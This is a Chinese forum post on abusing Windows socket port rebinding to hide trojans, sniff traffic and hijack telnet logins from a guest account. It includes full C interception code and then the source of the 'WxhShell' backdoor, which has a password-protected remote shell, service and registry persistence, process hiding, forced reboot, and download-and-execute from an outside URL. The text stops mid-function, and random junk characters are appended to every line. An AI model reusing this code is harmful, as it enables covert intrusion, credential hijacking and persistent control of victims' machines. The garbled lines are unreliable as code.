社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14273阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?7Y6: zo$^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {xzs{)9|Y4  
6/Pw'4H9$  
  saddr.sin_family = AF_INET; hrRkam !y  
Ob"48{w$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l*`2 EJ  
G{ 9p.Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?IWLH-fkP  
Sl?@c/Ng  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m1mA:R\zM  
I}&`IUP  
  这意味着什么?意味着可以进行如下的攻击: 0"*!0s ~  
rLU+-_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y30e7d* qr  
E9]/sFA-]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZT \=:X*e  
{b<;?Dus^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /i${[1  
c%N8|!e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P}AfXgr  
hd@ >p.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (H\)BS7#R  
Dp5hr8bT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nsRZy0@$t  
'k?%39  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O$2= Z  
Oc|`<^m  
  #include nbVlP  
  #include b xU13ESv  
  #include PW[NW-S`c  
  #include    `H_.<``>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P2q'P&  
  int main() `pHlGbrW  
  { LZ97nvK  
  WORD wVersionRequested; km)5?  
  DWORD ret; &rcC7v K9  
  WSADATA wsaData; 1h"CjOp,7  
  BOOL val; u9.x31^  
  SOCKADDR_IN saddr; -W^jmwM   
  SOCKADDR_IN scaddr; Y'75DE<BC  
  int err; x2^Yvgc-  
  SOCKET s; Guc~] B  
  SOCKET sc; 3( Y#*f|  
  int caddsize; *5\k1-$  
  HANDLE mt; C1/<t)^  
  DWORD tid;   y}'c)u  
  wVersionRequested = MAKEWORD( 2, 2 ); %,l+?fF  
  err = WSAStartup( wVersionRequested, &wsaData ); eX;Tufe*(Q  
  if ( err != 0 ) { px!TRb f  
  printf("error!WSAStartup failed!\n"); j"8f,er  
  return -1; KNkVI K  
  } `YZK$ -,  
  saddr.sin_family = AF_INET; tKnvNOhn  
   ,}("es\b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (#dwIBBFt  
F|eKt/>e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A@-A_=a,  
  saddr.sin_port = htons(23); YkPc&&#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ly?%RmHK  
  { *@XJ7G[  
  printf("error!socket failed!\n"); ;Y&<psQeb  
  return -1; 1kiS."77x  
  } k,~I>qg  
  val = TRUE; HF3W,eaqK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b V)mO@N~w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <$f7&6B  
  { 1YGj^7V)|Z  
  printf("error!setsockopt failed!\n"); w $\p\}~,  
  return -1; *K{-J*   
  } 1@ e22\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ux[h\Tp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rNdeD~\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0I8w'/s_g9  
pwiXA{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =Me94w>G3X  
  { V/=NIeSE  
  ret=GetLastError(); {Z529Ns  
  printf("error!bind failed!\n"); :GXD-6}^|  
  return -1; \m>mE/N  
  } QbF!V%+a's  
  listen(s,2); SMMV$;O{9  
  while(1) DNP %]{J  
  { &0E>&1`7  
  caddsize = sizeof(scaddr); *u2pk>y)  
  //接受连接请求 v4?qI >/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X-tc Ud  
  if(sc!=INVALID_SOCKET) ,[64$=R8  
  { MOiTz L*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ur`jmB  
  if(mt==NULL) yFIB/ln:  
  { O4Wn+$AN  
  printf("Thread Creat Failed!\n"); m+f?+c6  
  break; Cr!}qZq  
  } (QO8_  
  } gUfLw  
  CloseHandle(mt); nLA8Hy"8z  
  } %n^jho5  
  closesocket(s); h";0i:  
  WSACleanup(); h  0EpW5  
  return 0; n9Mi?#xIp  
  }   {,Y?+F  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2:31J4t-<  
  { ]kJinXHW  
  SOCKET ss = (SOCKET)lpParam; x*8lz\w  
  SOCKET sc; B74L/h  
  unsigned char buf[4096]; C^}2::Qu  
  SOCKADDR_IN saddr; To x{Sk3L  
  long num; SJYy,F],V"  
  DWORD val; QKj-"y[  
  DWORD ret; `zr%+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U_/sY9gz(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UDJ{ iZ  
  saddr.sin_family = AF_INET; w]4=uL6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g]'RwI  
  saddr.sin_port = htons(23); (J c} K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZT UaF4k j  
  { e<Hbm  
  printf("error!socket failed!\n"); ZnX]Q+w  
  return -1; "pb$[*_@$  
  } eR'Df" +  
  val = 100; yfBVy8Sm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s 0}OsHAj  
  { dQ4VpR9|;  
  ret = GetLastError(); 0P(U^rkR~  
  return -1; 8hx4s(1!  
  } B{\cV-X$0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M;BDo(1  
  { ~$#"'Tl4J  
  ret = GetLastError();  E*[dc  
  return -1; mv7><C  
  } ]0`*gKA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _ >)+ u  
  { e rz9CX  
  printf("error!socket connect failed!\n"); m/,.3v  
  closesocket(sc); K[tQ>C@s2  
  closesocket(ss); T3HAr9i%)  
  return -1; Yp_ L.TTb  
  } /az}<r8  
  while(1) 72hN%l   
  { z 6~cm6j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Kjw4,z%\94  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gyqM&5b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >]6f!;Rt  
  num = recv(ss,buf,4096,0); U} EaV<  
  if(num>0) AJk0jh\.j%  
  send(sc,buf,num,0); \;al@yC=T  
  else if(num==0) l)V!0eW  
  break; -__RFxG  
  num = recv(sc,buf,4096,0); 9`83cL  
  if(num>0) F`/-Q>Q  
  send(ss,buf,num,0); VMry$  
  else if(num==0) g"k1O  
  break; Lk?%B)z  
  } Y ^s_v_s  
  closesocket(ss); |eN#9Bm  
  closesocket(sc); 5a$Q}!6E.Y  
  return 0 ; /RVy?)hVT#  
  } }6;K+INT  
\Wdl1 =`  
r57&F`{  
========================================================== 6f"jl  
l(c2 B  
下边附上一个代码,,WXhSHELL "Di27Rq  
YX A|1  
========================================================== !+sC'/  
l@;UwnI  
#include "stdafx.h" 9q +I  
=mVWfFL  
#include <stdio.h> } tq  
#include <string.h> [I*)H7pt}  
#include <windows.h> r[doN{%  
#include <winsock2.h> H1?t2\V4  
#include <winsvc.h> $w,?%i97  
#include <urlmon.h> oRf.34  
Hrjry$t/J  
#pragma comment (lib, "Ws2_32.lib") ~ m/nV81  
#pragma comment (lib, "urlmon.lib") Xk9mJ]31LC  
kJQH{n+)R  
#define MAX_USER   100 // 最大客户端连接数 ew13qpt)<L  
#define BUF_SOCK   200 // sock buffer -L4fp  
#define KEY_BUFF   255 // 输入 buffer [HRry2#s  
_&(\>{pm  
#define REBOOT     0   // 重启 -cgLEl1J  
#define SHUTDOWN   1   // 关机 L/ L#[  
s$%t*T2J>  
#define DEF_PORT   5000 // 监听端口 / .wO<l=  
Vd+qi~kA  
#define REG_LEN     16   // 注册表键长度 / @v V^!#1  
#define SVC_LEN     80   // NT服务名长度 UL{+mp  
OD@k9I[  
// 从dll定义API s3(mkdXv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Dt]sE _d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy.gr4Cm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fL^$G;_?3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7 XNZEi9o  
q8m{zSr  
// wxhshell配置信息 CF,-l B  
struct WSCFG { CpE LLA<  
  int ws_port;         // 监听端口 ABx< Ep6  
  char ws_passstr[REG_LEN]; // 口令 l|kGp~  
  int ws_autoins;       // 安装标记, 1=yes 0=no W u C2 LM  
  char ws_regname[REG_LEN]; // 注册表键名 _p^?_  
  char ws_svcname[REG_LEN]; // 服务名 {PGiNY%q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e/7rr~"|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w"Q/ 6#!K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r,43 gg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R|@?6<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /"J3hSR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `{oFdvL~)  
@u>:(9bp  
}; Z|#G+$"QV  
;aj4V<@  
// default Wxhshell configuration ^)nIf)9}7  
struct WSCFG wscfg={DEF_PORT, ^g'P H{68  
    "xuhuanlingzhe", @<TC+M5!  
    1, wbpz,  
    "Wxhshell", ykS-5E`  
    "Wxhshell", /;X+<Wj  
            "WxhShell Service", SG4)kQ  
    "Wrsky Windows CmdShell Service", ip+?k<]z  
    "Please Input Your Password: ", @oNYMQ@)d  
  1, @$7'{*  
  "http://www.wrsky.com/wxhshell.exe", p 2>\  
  "Wxhshell.exe" R:5uZAx  
    }; >ufLRGL>  
vNDf1B5z  
// 消息定义模块 FyhLMW3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t" $#KP<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {9XN\v=$"*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yog(  
char *msg_ws_ext="\n\rExit."; ~]Weyb[ N  
char *msg_ws_end="\n\rQuit."; 8x`E UJ  
char *msg_ws_boot="\n\rReboot..."; |W\U9n  
char *msg_ws_poff="\n\rShutdown..."; wBlo2WY  
char *msg_ws_down="\n\rSave to "; x+bC\,q  
>c@jl  
char *msg_ws_err="\n\rErr!"; vn x+1T  
char *msg_ws_ok="\n\rOK!"; Rn$TYCO  
s$Vz1B  
char ExeFile[MAX_PATH]; $/kZKoF{f  
int nUser = 0; B'-n ^';  
HANDLE handles[MAX_USER]; <u}[_  
int OsIsNt; NtG^t}V  
a|-ozBFR  
SERVICE_STATUS       serviceStatus; a_ \t(U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S=a>rnF  
Q%QIr  
// 函数声明 ?$6(@>`f&t  
int Install(void); n >@Qx$-  
int Uninstall(void); QKIg5I-  
int DownloadFile(char *sURL, SOCKET wsh); ?/fC"MJq?  
int Boot(int flag); HP,{/ $i:  
void HideProc(void); *o=[p2d"X  
int GetOsVer(void); !PfdY&.)  
int Wxhshell(SOCKET wsl); KjK-#F,@  
void TalkWithClient(void *cs); }_oQg_-7e  
int CmdShell(SOCKET sock); 'd]t@[#  
int StartFromService(void); 7 &iav2q  
int StartWxhshell(LPSTR lpCmdLine); &&7&/   
: j`4nXm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BUUc9&f3o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w7~cY=  
`h~-  
// 数据结构和表定义 fwi -   
SERVICE_TABLE_ENTRY DispatchTable[] = ^|(VI0KO  
{ +ZR>ul-c  
{wscfg.ws_svcname, NTServiceMain}, g f<vQb|  
{NULL, NULL} <q`|,mc  
};  V*W H  
M9.FtQhK/  
// 自我安装 )T@?.J`  
int Install(void) "}2I0tM  
{ U U3o (Yq  
  char svExeFile[MAX_PATH]; oxug  
  HKEY key; mZ g'  
  strcpy(svExeFile,ExeFile); 'u9y\vUy  
U lPhW~F)  
// 如果是win9x系统,修改注册表设为自启动 rQ(u@u;  
if(!OsIsNt) { ~ E n'X4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NbK67p:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B D [<>Wm  
  RegCloseKey(key); 1sq1{|NW~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PnH5[4&k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }[y_Fr0  
  RegCloseKey(key); bZ}T;!U?I  
  return 0; |=[. _VH1  
    } }?*$AVs2q  
  } ++BQ==@  
} ,U>G$G^  
else { _sQhDi  
%<1_\N7  
// 如果是NT以上系统,安装为系统服务 @%8$k[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VuuF _y;  
if (schSCManager!=0) HE-ErEtGB  
{ ]'<"qY  
  SC_HANDLE schService = CreateService vofBS   
  ( <1<0odB  
  schSCManager, tcD5"ALJ  
  wscfg.ws_svcname, K<v:RbU|[1  
  wscfg.ws_svcdisp, v V>=Uvm  
  SERVICE_ALL_ACCESS, JykNEMB#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?>mpUH  
  SERVICE_AUTO_START, LAuaowE\v  
  SERVICE_ERROR_NORMAL, ^ R3g7 DG  
  svExeFile, Z& bIjp  
  NULL, &<# ,J4  
  NULL, `~1#X  
  NULL, }ok'd=M  
  NULL, Mr@{3do$  
  NULL E0eZal],  
  ); -Zqw[2Q4  
  if (schService!=0) ,<;.'r  
  { ew,g'$drD  
  CloseServiceHandle(schService); NZ- 57Ji  
  CloseServiceHandle(schSCManager); )jMk ~;'r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `eKFs0M.  
  strcat(svExeFile,wscfg.ws_svcname); ~/!jKH7`j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ju_(,M-Vgr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MX7$f (Hy  
  RegCloseKey(key); pZ 7KWk4  
  return 0; hne}G._b  
    } l>pnY%(A  
  } [k=LX+w@  
  CloseServiceHandle(schSCManager); jtPHk*>^wu  
} *-@@t+3  
} 2 '8I/>-  
 sM9NHwg  
return 1; sd |c/ayh~  
} -IL' (vx  
{%z5^o1)  
// 自我卸载 7/bF0 4~%  
int Uninstall(void) *!,k`=.([#  
{ @XH@i+ {B  
  HKEY key; Gk)6ljL  
g?>   
if(!OsIsNt) { C{YTHN n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :(i=> ~O  
  RegDeleteValue(key,wscfg.ws_regname); XZxzw*Y1J  
  RegCloseKey(key); Wbi12{C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7+m.:~H3}  
  RegDeleteValue(key,wscfg.ws_regname); Y~U WUF%aK  
  RegCloseKey(key); nW]T-!  
  return 0; ?d)FYB  
  } RY~m Q  
} a'7RzN ,]  
} rM20Y(|  
else { }5y ]kn  
=l%|W[OO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D/tFN+|P  
if (schSCManager!=0) r,ep{ p  
{ 2&:nHZ)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rc~63![O.  
  if (schService!=0) ,772$7x  
  { %D[6;PT  
  if(DeleteService(schService)!=0) { w=ZK=@  
  CloseServiceHandle(schService); 5- "aK~@+  
  CloseServiceHandle(schSCManager); j`-9.  
  return 0; 67wq8|  
  } lv& y<d;  
  CloseServiceHandle(schService); m!:sDQn{3  
  } 03 ;L  
  CloseServiceHandle(schSCManager); S,#UA%V"  
} nk+9 J#Gs  
} @eRv`O"  
|@dY[VK>  
return 1; (E \lLlN  
} S~{ }j vc  
/?:q9Wy  
// 从指定url下载文件 !3Q^oR  
int DownloadFile(char *sURL, SOCKET wsh) 5I0j>{U&  
{ <#e!kWGR?  
  HRESULT hr; U z MIm  
char seps[]= "/"; +  $/mh  
char *token; zl$z>z)  
char *file; 0y=lf+xA*  
char myURL[MAX_PATH]; *"j3x} U<  
char myFILE[MAX_PATH]; Oyy E0  
ptTp63+  
strcpy(myURL,sURL); BtKbX)R$J  
  token=strtok(myURL,seps); t ZA%^Y  
  while(token!=NULL) [?F]S:/i  
  { z5t"o !  
    file=token; - s0QEQ  
  token=strtok(NULL,seps); ;})s o  
  } &MGM9 zm-]  
g;!,2,De}  
GetCurrentDirectory(MAX_PATH,myFILE); L_fiE3G|>  
strcat(myFILE, "\\"); sT>l ?L  
strcat(myFILE, file); %>,Kd6bdg  
  send(wsh,myFILE,strlen(myFILE),0); rq^VOK|L  
send(wsh,"...",3,0); Z|zT%8.8N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EV N:3  
  if(hr==S_OK) 5}`e"X  
return 0; MW)=l | G  
else ?yAjxoE~?  
return 1; yo#fJ`  
Ufe@G\uyI  
} NV9H"fI  
 ),f d,  
// 系统电源模块 =kn-F T  
int Boot(int flag) >Q|S#(c  
{ =%9j8wHX  
  HANDLE hToken; 0/zgjT|fe  
  TOKEN_PRIVILEGES tkp; m"mU:-jk`  
)5ISkbsxD  
  if(OsIsNt) { -\}Ix>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i,y7R?-K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KgEfhO$W  
    tkp.PrivilegeCount = 1; IoWK 8x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x%, !px3s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "y=AVO  
if(flag==REBOOT) { F6-U{+KU$!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nrk/_0^  
  return 0; K?acRi  
} 9d&}CZr  
else { j'|`:^ Sy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rfhvdwwD  
  return 0; '0/[%Q  
} %ysf FE  
  } A@JZK+WB}  
  else { Iih]q  
if(flag==REBOOT) { [^A>hs*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p`3$NCJN  
  return 0; *\F,?yU  
} l*n4d[0J  
else { *]* D^'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +AL(K:  
  return 0; +U,>D +  
} 2f.4P]s`T  
} o'p[G]NQ1o  
&!O~ f  
return 1; !7aJfs2  
} Bhw|!Y&%  
v6+<F;G3y>  
// win9x进程隐藏模块 wM&WR2  
void HideProc(void) ?K^~(D8(  
{ 2^=.jML[  
nAW`G'V#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kS$m$ D  
  if ( hKernel != NULL ) c9R|0Yn^J  
  {  g=x1}nm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [;hCwj#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ hs\"W  
    FreeLibrary(hKernel); D``>1IA]  
  } O,?aVgY  
- WK  
return; {AMoE +U  
} M]M(E) *5  
wT-@v,$  
// 获取操作系统版本 rgXD>yu(  
int GetOsVer(void) K^+}__;]  
{ q. NvwJ  
  OSVERSIONINFO winfo; {]dH+J7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .3,6Oo  
  GetVersionEx(&winfo); \P7y&`|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vP{;'R  
  return 1; P0XVR_TJf  
  else 9EKc{1 z  
  return 0; 6`;+|H<$  
} HVK./y qy  
:_"%o=  
// 客户端句柄模块 yaKw/vV  
int Wxhshell(SOCKET wsl) bcC+af0L  
{ X3, +aL`  
  SOCKET wsh; Ld3!2g2y7&  
  struct sockaddr_in client; "4e{Cq  
  DWORD myID; OFcqouGE  
rLOdQN  
  while(nUser<MAX_USER) 5RhP^:i@C  
{ D!CuE7}  
  int nSize=sizeof(client); Gmp`3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PV,AN   
  if(wsh==INVALID_SOCKET) return 1; 4m3pF0k  
,?zOJ,wl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $yg=tWk  
if(handles[nUser]==0) 61{IXx_  
  closesocket(wsh); F_C_K"[s  
else *;y n_zg  
  nUser++; [*AWCV  
  } {kp^@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %e'Z.vm  
, 1` -u$  
  return 0; 2%(RB4+  
} Ig M_l=  
F(#~.i  
// 关闭 socket j: /cJt  
void CloseIt(SOCKET wsh) @O%d2bgEWV  
{ ;IYH5sG{  
closesocket(wsh);  _F9O4Q4  
nUser--; *QT|J6ng  
ExitThread(0); nH % 1lD?:  
} y OLqIvN  
' 5%`[&  
// 客户端请求句柄 K]Onb{QY  
void TalkWithClient(void *cs) 7f\@3r  
{ y:3d`E4Xw  
EU"J'?  
  SOCKET wsh=(SOCKET)cs; Oe[qfsdW  
  char pwd[SVC_LEN]; .&Ok53]b  
  char cmd[KEY_BUFF]; # \)tz z  
char chr[1]; bxA1fA;  
int i,j; a4L0Itrp  
81<0B @E  
  while (nUser < MAX_USER) { 1_z6O!rx  
^#A[cY2eM  
if(wscfg.ws_passstr) { `Ufv,_n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ dF]X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ko%B`  
  //ZeroMemory(pwd,KEY_BUFF); ';hTGLq\X  
      i=0; Udh!%QP%[w  
  while(i<SVC_LEN) { :xP$iEA`G  
>7^+ag~&  
  // 设置超时 &G"r>,HU  
  fd_set FdRead; >)IXc<"wq  
  struct timeval TimeOut; 'F[ C 4  
  FD_ZERO(&FdRead); -=A W. Z o  
  FD_SET(wsh,&FdRead); @~l?hf  
  TimeOut.tv_sec=8; FTg4i\Wp  
  TimeOut.tv_usec=0; r 7mg>3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2i@t;h2E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a}w%k  
qJ|n73yn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3koXM_4_{)  
  pwd=chr[0]; Kx;DmwX-  
  if(chr[0]==0xd || chr[0]==0xa) { #Rkldv'  
  pwd=0; b:iZ.I  
  break; n6a*|rE  
  } /@H2m\vBX  
  i++; $.z~bmH"D  
    } z]YP  
`>q|_w \e  
  // 如果是非法用户,关闭 socket s\`Vr;R:|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .2b) rKo~  
} P~+?:buqc  
Bn"r;pqWiT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y,bw:vX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ikGH:{  
yt&eY6Xp  
while(1) { D k'EKT-  
hao0_9q+  
  ZeroMemory(cmd,KEY_BUFF); G@) I  
sJlX ]\RLQ  
      // 自动支持客户端 telnet标准   ,qRSB>5c  
  j=0; w jmZ`UMz  
  while(j<KEY_BUFF) { -%=StWdb   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sK:,c5^  
  cmd[j]=chr[0]; }eX_p6bBw  
  if(chr[0]==0xa || chr[0]==0xd) { n/"T7Y\2  
  cmd[j]=0; G5Ci"0  
  break; R0<ka[+  
  } Gc9^Z=  
  j++; xae rMr  
    } 8-5a*vV,>  
&F}1\6{fL  
  // 下载文件 LoG@(g&)  
  if(strstr(cmd,"http://")) { mm=Y(G[_%y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q ;P~'  
  if(DownloadFile(cmd,wsh)) (nrrzOax  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ Yz &x%Lb  
  else (Df<QC`0v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7atYWz~yG  
  } ZZC= 7FB  
  else { .Qh8I+Q%  
` OQ&u  
    switch(cmd[0]) { 6\,^MI  
  DuvP3(K  
  // 帮助 ) Q=G&  
  case '?': { p8"(z@T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (r[<g*+3  
    break; \|>eG u  
  } l``1^&K  
  // 安装 p 2~Q  
  case 'i': { d L%E0o  
    if(Install()) _ga!TQ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TiBE9  
    else CES FkAj~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \N#)e1.0P  
    break; vB4cdW 2#3  
    } ^y6Pkb P  
  // 卸载 'v|2} T*  
  case 'r': { *vAOUqX`x  
    if(Uninstall()) _ z4rx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~>?w#?J  
    else =cC]8Pz?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eBAB7r/7  
    break; aJ)5DlfLR  
    } z~ u@N9M  
  // 显示 wxhshell 所在路径 <uTsX v  
  case 'p': { hTG d Uw]  
    char svExeFile[MAX_PATH]; $g$`fR)  
    strcpy(svExeFile,"\n\r"); f,L  
      strcat(svExeFile,ExeFile); tiE+x|Ju"  
        send(wsh,svExeFile,strlen(svExeFile),0); .sG,TLE[<  
    break; ~v54$#CB  
    } 5 N/ ]/  
  // 重启 E+1j3Q;  
  case 'b': { Ro1' L1:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =hs@W)-O  
    if(Boot(REBOOT)) \~)573'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@&|hd=-  
    else { `p?E{k.N  
    closesocket(wsh); ?@#}%<yEq  
    ExitThread(0); P~qVr#eU  
    } 3QHZC0AY  
    break; 7.Mh$?;i9  
